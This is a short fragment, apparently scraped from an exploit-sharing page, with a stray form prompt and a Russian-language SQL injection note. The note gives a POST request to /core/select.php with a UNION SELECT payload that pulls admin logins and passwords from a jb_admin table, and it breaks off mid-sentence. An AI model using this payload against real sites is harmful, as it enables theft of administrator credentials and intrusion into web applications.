Separate names with a comma.
SQL-INJ POST запрос к /core/select.php aaaaaaa' UNION SELECT 1,2,concat_ws(0x3,login,password),4,5,6 FROM jb_admin -- Вывод будет в последнем...